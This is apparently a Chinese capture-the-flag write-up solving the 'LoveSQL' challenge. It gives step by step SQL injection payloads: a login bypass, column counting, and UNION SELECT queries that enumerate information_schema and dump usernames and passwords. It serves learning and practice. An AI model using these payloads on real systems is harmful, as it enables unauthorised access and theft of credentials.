[极客大挑战 2019]LoveSQL --不会编程的崽

不会编程的崽2024-03-15 16:20

说实在的，我挖出过的第一个真实漏洞就是sql漏洞。但是ctf我最讨厌的也是sql漏洞。sql花样太多了，各种注入，过滤，哎。。。这也是我为什么一直没做sql题目的原因。但是既然选择玩ctf，还是要硬着头皮上，先来个简单的当做复习吧。

已经知道这是sql的题目了，直接注入吧。

sql第一步肯定要知道是否存在过滤的。这题是入门级别，没过滤啥东西。然后尝试闭合符号，而且这种登录框，一定要尝试万能密码。

复制代码

123' or 1=1#

如果使用双引号则返回错误。单引号闭合成功。这里也不能用'--+'注释后面的单引号。以后的sql都尝试一下就即可知道用哪个

给了我密码，最初以为是md5值，其实就是单纯的长密码QAQ。为什么要给admin的密码呢？我也不知道有什么用。。。反正我实验了一下，名字与密码都能注入，不管对错。。。我选择在密码里注入

接下来就直接看步骤吧

复制代码

1' order by 4#

复制代码

1' order by 3#

暴点

复制代码

1' union select 1,2,3#

查询数据库名称

复制代码

1' union select 1,database(),3#

查询表名

复制代码

1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='geek'#

查询列名

复制代码

1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1'#

查询表里数据

复制代码

1' union select 1,group_concat(username),group_concat(password) from l0ve1ysq1#

这是最基础的mysql注入，如果不知道为什么这么构造payload简易学一下，不然很多东西看着还是很突兀的。还有就是最后一步**一定要加上group_concat()**以回显所有数据,因为表里边的数据很多，如果不加上只会回显第一行数据。

已经看见flag了，右键源代码复制粘贴即可